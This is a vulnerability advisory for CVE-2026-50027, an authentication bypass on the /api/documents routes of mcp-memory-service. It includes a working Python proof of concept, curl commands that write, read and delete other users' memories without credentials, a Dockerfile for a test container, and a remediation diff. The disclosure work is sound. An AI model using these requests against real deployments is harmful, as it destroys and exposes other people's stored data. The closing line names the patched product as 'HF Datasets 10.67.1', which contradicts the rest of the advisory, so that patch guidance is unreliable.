CVE-2026-50027

## Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete ### Summary All HTTP routes under `/api/documents/*` in `mcp-memory-service` are served without any authentication dependency, even when the server is configured with an API key (`MCP_API_KEY`) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The `/api/memories` counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical. ### Details The `documents.py` router is instantiated without any router-level `dependencies=` parameter and the file does not import `Depends` at all, so no authentication guard is present on any of its routes: - **`src/mcp_memory_service/web/api/documents.py:33`** — `from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks` (`Depends` is absent) - **`src/mcp_memory_service/web/api/documents.py:43`** — `router = APIRouter()` (no `dependencies=` argument) The affected endpoints and their data-flow sinks are: | Route | Line (source) | Sink | Line (sink) | |---|---|---|---| | `POST /upload` | 149 | `storage.store(memory)` | 449 | | `POST /batch-upload` | — | `storage.store(memory)` | — | | `GET /history` | — | upload metadata response | — | | `GET /search-content/{upload_id}` | 729 | memory content response | 781 | | `DELETE /remove/{upload_id}` | — | storage deletion | — | | `DELETE /remove-by-tags` | 687 | `storage.delete_by_tags(tags)` | 705 | The router is mounted in `src/mcp_memory_service/web/app.py:311`: ```python app.include_router(documents_router, prefix="/api/documents") ``` No `CORSMiddleware` or authentication middleware applies to these routes at mount time. By contrast, the equivalent write endpoint in `memories.py` is correctly protected: ```python # src/mcp_memory_service/web/api/memories.py:136 user: AuthenticationResult = Depends(require_write_access) ``` This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all `documents.py` routes. ### PoC **Prerequisites** - Docker installed - Repository cloned at `repo` **Build and run the container** ```bash docker build -t vuln-001-mcp-memory-poc \ -f vuln-001/Dockerfile \ repo docker run -d --name vuln-001-poc-container \ -p 18000:8000 vuln-001-mcp-memory-poc:latest ``` The container starts `mcp-memory-service` with `MCP_API_KEY=poc-secret-key-12345`, simulating a production deployment where the operator has enabled API-key authentication. **Execute the PoC** ```bash python3 vuln-001/poc.py \ --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345 ``` **Attack chain (6 steps)** ``` [STEP 1] GET /api/memories (no auth) → HTTP 401 ← auth guard is active on memories API [STEP 2] POST /api/memories (with API key) → HTTP 200 ← legitimate user stores sensitive data [STEP 3] GET /api/memories (with API key) → HTTP 200 memories_found=1 ← data confirmed [STEP 4] POST /api/documents/upload (NO auth) → HTTP 200 upload_id=<uuid> ← WRITE bypass [STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200 memories_deleted=1 ← DELETE bypass [STEP 6] GET /api/memories (with API key) → HTTP 200 memories_remaining=0 ← integrity impact confirmed ``` Step 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request. **Manual curl equivalent** ```bash # Confirm auth guard is active on /api/memories curl -i http://127.0.0.1:18000/api/memories # → 401 Unauthorized # Write through document API — no credentials printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt UPLOAD_ID=$( curl -s -X POST http://127.0.0.1:18000/api/documents/upload \ -F "file=@/tmp/poc.txt" -F "tags=cve-poc" | python3 -c 'import sys,json; print(json.load(sys.stdin)["upload_id"])' ) # → 200 OK sleep 3 curl -s "http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID" # → content returned without authentication # Delete by tag — no credentials curl -i -X DELETE "http://127.0.0.1:18000/api/documents/remove-by-tags" \ -H "Content-Type: application/json" -d '["cve-poc"]' # → 200 OK, memories_deleted=1 ``` **Observed output** - `GET /api/memories` (no auth) returns `401` — the authentication guard is demonstrably active on the memories API. - `POST /api/documents/upload` (no auth) returns `200` with a valid `upload_id`. - `DELETE /api/documents/remove-by-tags` (no auth) returns `200` with `memories_deleted=1`. - A subsequent authenticated `GET /api/memories` returns `memories_remaining=0`, confirming that legitimately stored data was destroyed by an unauthenticated request. **Remediation** Add `Depends(require_write_access)` / `Depends(require_read_access)` to every affected route in `documents.py`: ```diff --- a/src/mcp_memory_service/web/api/documents.py +++ b/src/mcp_memory_service/web/api/documents.py -from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks +from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks, Depends from ..dependencies import get_storage +from ..oauth.middleware import require_read_access, require_write_access, AuthenticationResult async def upload_document( background_tasks: BackgroundTasks, file: UploadFile = File(...), + user: AuthenticationResult = Depends(require_write_access), async def batch_upload_documents( background_tasks: BackgroundTasks, files: List[UploadFile] = File(...), + user: AuthenticationResult = Depends(require_write_access), -async def get_upload_status(upload_id: str): +async def get_upload_status(upload_id: str, user: AuthenticationResult = Depends(require_read_access)): -async def get_upload_history(): +async def get_upload_history(user: AuthenticationResult = Depends(require_read_access)): -async def remove_document(upload_id: str, remove_from_memory: bool = True): +async def remove_document(upload_id: str, remove_from_memory: bool = True, + user: AuthenticationResult = Depends(require_write_access)): -async def remove_documents_by_tags(tags: List[str]): +async def remove_documents_by_tags(tags: List[str], + user: AuthenticationResult = Depends(require_write_access)): -async def search_document_content(upload_id: str, limit: int = 1000): +async def search_document_content(upload_id: str, limit: int = 1000, + user: AuthenticationResult = Depends(require_read_access)): ``` ### Impact This is a **Missing Authentication for Critical Function (CWE-306)** vulnerability affecting the HTTP REST server component of `mcp-memory-service`. **Who is impacted:** Any operator who deploys the HTTP REST server (`memory server --http`) with `MCP_API_KEY` or OAuth enabled, expecting that only authenticated clients can access stored memories. The HTTP server is documented as a supported production feature for team/multi-client deployments. **Confidentiality:** An unauthenticated attacker can read recently uploaded document content via `GET /api/documents/search-content/{upload_id}` and enumerate upload history via `GET /api/documents/history`. Stored memories may contain sensitive context such as personal notes, AI agent working state, or proprietary data. **Integrity:** An unauthenticated attacker can inject arbitrary content into the memory store by uploading documents, polluting the AI agent's knowledge base with attacker-controlled data (memory poisoning / prompt injection surface). **Availability:** An unauthenticated attacker can delete all memories matching any chosen tags via `DELETE /api/documents/remove-by-tags`, or delete individual documents via `DELETE /api/documents/remove/{upload_id}`, causing permanent loss of stored data. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.12-slim ENV PYTHONDONTWRITEBYTECODE=1 ENV PYTHONUNBUFFERED=1 ENV HF_HOME=/root/.cache/huggingface WORKDIR /app RUN apt-get update && apt-get install -y --no-install-recommends \ build-essential \ && rm -rf /var/lib/apt/lists/* # Install CPU-only torch first to avoid pulling the large CUDA wheel from PyPI RUN pip install --no-cache-dir \ "torch>=2.0.0" \ --index-url https://download.pytorch.org/whl/cpu # Copy and install the mcp-memory-service from the local repo COPY . /app RUN pip install --no-cache-dir -e . # Pre-download the sentence-transformers embedding model so the container # can run fully offline and starts quickly RUN python -c "from sentence_transformers import SentenceTransformer; m = SentenceTransformer('all-MiniLM-L6-v2'); v = m.encode(['preflight']); print('Embedding model ready, dim=' + str(len(v[0])))" # ── Runtime config ────────────────────────────────────────────────────────── # MCP_API_KEY is set to simulate a production deployment where the operator # has enabled API-key authentication. The bug is that /api/documents/* routes # ignore this key entirely. ENV MCP_API_KEY=poc-secret-key-12345 ENV MCP_MEMORY_STORAGE_BACKEND=sqlite_vec ENV MCP_HTTP_PORT=8000 ENV MCP_HTTP_HOST=0.0.0.0 ENV MCP_MDNS_ENABLED=false ENV MCP_CONSOLIDATION_ENABLED=false ENV MCP_BACKUP_ENABLED=false ENV MCP_QUALITY_SYSTEM_ENABLED=false # Prevent any outbound HuggingFace requests at runtime ENV TRANSFORMERS_OFFLINE=1 ENV HF_DATASETS_OFFLINE=1 EXPOSE 8000 CMD ["python", "run_server.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC – VULN-001: Missing Authentication on Document API Endpoints CWE-306 Missing Authentication for Critical Function CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Attack chain: 1. GET /api/memories (no auth) → 401 (auth guard confirmed active) 2. POST /api/memories (with API key) → 200 (legitimate write) 3. GET /api/memories (with API key) → 200 (data exists) 4. POST /api/documents/upload (NO auth!) → 200 (write bypass) 5. DELETE /api/documents/remove-by-tags (NO auth!) → 200 (delete bypass) 6. GET /api/memories (with API key) → memory is GONE Step 6 proves an unauthenticated attacker destroyed data created by a legitimate, authenticated user — confirming full integrity impact. Usage: python3 poc.py [--host 127.0.0.1] [--port 8000] [--api-key poc-secret-key-12345] """ import sys import time import json import uuid import argparse import http.client MARKER = "VULN001_AUTH_BYPASS_" + uuid.uuid4().hex[:12].upper() TARGET_TAG = f"vuln001-target-{uuid.uuid4().hex[:6]}" # ─── low-level helpers ─────────────────────────────────────────────────────── def http_req(host, port, method, path, body=None, headers=None, timeout=20): conn = http.client.HTTPConnection(host, port, timeout=timeout) h = dict(headers or {}) conn.request(method, path, body=body, headers=h) resp = conn.getresponse() return resp.status, resp.read().decode("utf-8", errors="replace") def wait_ready(host, port, timeout=120): print(f"[*] Waiting for server at {host}:{port} …", flush=True) deadline = time.time() + timeout while time.time() < deadline: try: s, _ = http_req(host, port, "GET", "/api/health", timeout=2) if s == 200: print("[+] Server ready\n", flush=True) return True except Exception: pass time.sleep(1) return False def build_multipart(boundary, filename, file_bytes, tags_str): b = boundary.encode() return b"".join([ b"--" + b + b"\r\n", b'Content-Disposition: form-data; name="file"; filename="' + filename.encode() + b'"\r\n', b"Content-Type: /plain\r\n\r\n", file_bytes, b"\r\n--" + b + b"\r\n", b'Content-Disposition: form-data; name="tags"\r\n\r\n', tags_str.encode(), b"\r\n--" + b + b"--\r\n", ]) # ─── individual test steps ─────────────────────────────────────────────────── def step_memories_no_auth(host, port): """GET /api/memories without auth must return 401.""" print("[STEP 1] GET /api/memories (no auth — expect 401)", flush=True) status, body = http_req(host, port, "GET", "/api/memories") ok = (status == 401) print(f" {'PASS' if ok else 'FAIL'} HTTP {status}", flush=True) return ok, status def step_store_memory_with_auth(host, port, api_key): """POST /api/memories with API key — store a 'legitimate' memory.""" print(f"[STEP 2] POST /api/memories (with API key, tag={TARGET_TAG})", flush=True) payload = json.dumps({ "content": f"Sensitive memory — {MARKER}", "tags": [TARGET_TAG, "vuln001-demo"], "memory_type": "observation", "metadata": {"poc": "VULN-001"} }).encode() headers = { "Content-Type": "application/json", "Content-Length": str(len(payload)), "X-API-Key": api_key, } status, body = http_req(host, port, "POST", "/api/memories", payload, headers) ok = status in (200, 201) content_hash = None try: content_hash = json.loads(body).get("content_hash") except Exception: pass print(f" {'PASS' if ok else 'FAIL'} HTTP {status} hash={content_hash}", flush=True) if not ok: print(f" body: {body[:300]}", flush=True) return ok, status, content_hash def step_verify_memory_exists(host, port, api_key): """GET /api/memories with auth — confirm the memory is stored.""" print("[STEP 3] GET /api/memories (with API key — confirm data exists)", flush=True) headers = {"X-API-Key": api_key} status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers) ok = status == 200 count = 0 try: data = json.loads(body) count = data.get("total", len(data.get("memories", []))) except Exception: pass print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_found={count}", flush=True) return ok, status, count def step_upload_no_auth(host, port): """POST /api/documents/upload without any credentials — should return 200.""" print("[STEP 4] POST /api/documents/upload (NO auth — expect 200)", flush=True) boundary = "PocBoundary" + uuid.uuid4().hex payload = f"EVIDENCE: {MARKER}\nUploaded without authentication — VULN-001.\n".encode() body = build_multipart(boundary, "poc_vuln001.txt", payload, "poc-evidence,vuln001-demo") headers = { "Content-Type": f"multipart/form-data; boundary={boundary}", "Content-Length": str(len(body)), } status, resp = http_req(host, port, "POST", "/api/documents/upload", body, headers) upload_id = None try: upload_id = json.loads(resp).get("upload_id") except Exception: pass ok = status == 200 and upload_id is not None print(f" {'PASS' if ok else 'FAIL'} HTTP {status} upload_id={upload_id}", flush=True) if not ok: print(f" body: {resp[:300]}", flush=True) return ok, status, upload_id def step_delete_no_auth(host, port): """DELETE /api/documents/remove-by-tags without auth — should return 200.""" print(f"[STEP 5] DELETE /api/documents/remove-by-tags (NO auth, tag={TARGET_TAG})", flush=True) # FastAPI 0.100+ treats List[str] in DELETE as request body (JSON array) body = json.dumps([TARGET_TAG, "vuln001-demo"]).encode() headers = { "Content-Type": "application/json", "Content-Length": str(len(body)), } status, resp = http_req( host, port, "DELETE", "/api/documents/remove-by-tags", body=body, headers=headers ) ok = status == 200 deleted = 0 try: deleted = json.loads(resp).get("memories_deleted", 0) except Exception: pass print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_deleted={deleted}", flush=True) if not ok: print(f" body: {resp[:300]}", flush=True) return ok, status, deleted def step_verify_memory_gone(host, port, api_key): """GET /api/memories with auth — confirm attacker wiped the data.""" print("[STEP 6] GET /api/memories (with API key — verify data was deleted)", flush=True) headers = {"X-API-Key": api_key} status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers) ok = status == 200 count = 0 try: data = json.loads(body) count = data.get("total", len(data.get("memories", []))) except Exception: pass data_deleted = (ok and count == 0) print(f" {'PASS' if data_deleted else 'NOTE'} HTTP {status} memories_remaining={count}", flush=True) if data_deleted: print(" [+] Memory wiped by unauthenticated attacker — integrity impact confirmed!", flush=True) return ok, status, count # ─── main ──────────────────────────────────────────────────────────────────── def main(): ap = argparse.ArgumentParser(description="VULN-001 PoC — CWE-306 auth bypass") ap.add_argument("--host", default="127.0.0.1") ap.add_argument("--port", type=int, default=8000) ap.add_argument("--api-key", default="poc-secret-key-12345", help="API key configured on the server (simulates legitimate user)") args = ap.parse_args() print("=" * 65) print("VULN-001 Missing Authentication on Document API Endpoints") print("CWE-306 / CVSS 9.8 (Critical)") print("=" * 65 + "\n") if not wait_ready(args.host, args.port): print("[-] Server did not become ready", flush=True) sys.exit(2) r = {} # Step 1 — baseline: auth IS enforced on /api/memories ok1, s1 = step_memories_no_auth(args.host, args.port) r["step1_auth_guard_active"] = { "pass": ok1, "evidence": f"GET /api/memories (no auth) → HTTP {s1}" } # Step 2 — legitimate user stores a sensitive memory ok2, s2, content_hash = step_store_memory_with_auth(args.host, args.port, args.api_key) r["step2_legitimate_write"] = { "pass": ok2, "evidence": f"POST /api/memories (with API key) → HTTP {s2}" } # Step 3 — confirm memory exists ok3, s3, mem_count = step_verify_memory_exists(args.host, args.port, args.api_key) r["step3_data_present"] = { "pass": ok3 and mem_count > 0, "evidence": f"GET /api/memories (with API key) → HTTP {s3}, count={mem_count}" } # Step 4 — attacker uploads without auth (WRITE bypass) ok4, s4, upload_id = step_upload_no_auth(args.host, args.port) r["step4_upload_auth_bypass"] = { "pass": ok4, "evidence": f"POST /api/documents/upload (NO auth) → HTTP {s4}" } # Step 5 — attacker deletes WITHOUT auth (DELETE bypass) ok5, s5, deleted = step_delete_no_auth(args.host, args.port) r["step5_delete_auth_bypass"] = { "pass": ok5, "evidence": f"DELETE /api/documents/remove-by-tags (NO auth) → HTTP {s5}, deleted={deleted}" } # Step 6 — verify legitimate data is gone ok6, s6, remaining = step_verify_memory_gone(args.host, args.port, args.api_key) r["step6_integrity_impact"] = { "pass": ok6 and remaining == 0, "evidence": f"GET /api/memories (with API key) after attack → count={remaining} (was {mem_count})" } print("\n" + "=" * 65) print("RESULTS SUMMARY") print("=" * 65) for k, v in r.items(): sym = "PASS" if v["pass"] else "FAIL" print(f" [{sym}] {v['evidence']}", flush=True) # Core bypass: /api/memories returns 401 BUT /api/documents/* returns 200 without auth bypass_proven = ok1 and ok4 delete_bypass = ok1 and ok5 print("\nKey evidence:") print(f" Auth guard ACTIVE : GET /api/memories (no auth) → HTTP {s1}") print(f" Write BYPASS : POST /api/documents/upload (no auth) → HTTP {s4}") print(f" Delete BYPASS : DELETE /api/documents/remove-by-tags (no auth) → HTTP {s5}") overall = "PASS – auth bypass confirmed" if (bypass_proven or delete_bypass) else "FAIL" print(f"\nVerdict: {overall}") print("=" * 65) sys.exit(0 if (bypass_proven or delete_bypass) else 1) if __name__ == "__main__": main() ```

No confirmed active exploitation of CVE-2026-50027 has been reported, but organizations should still patch proactively.

Update to patched version: HF Datasets 10.67.1.

CVE-2026-50027 has a CVSS v3.1 base score of 9.8 (CRITICAL).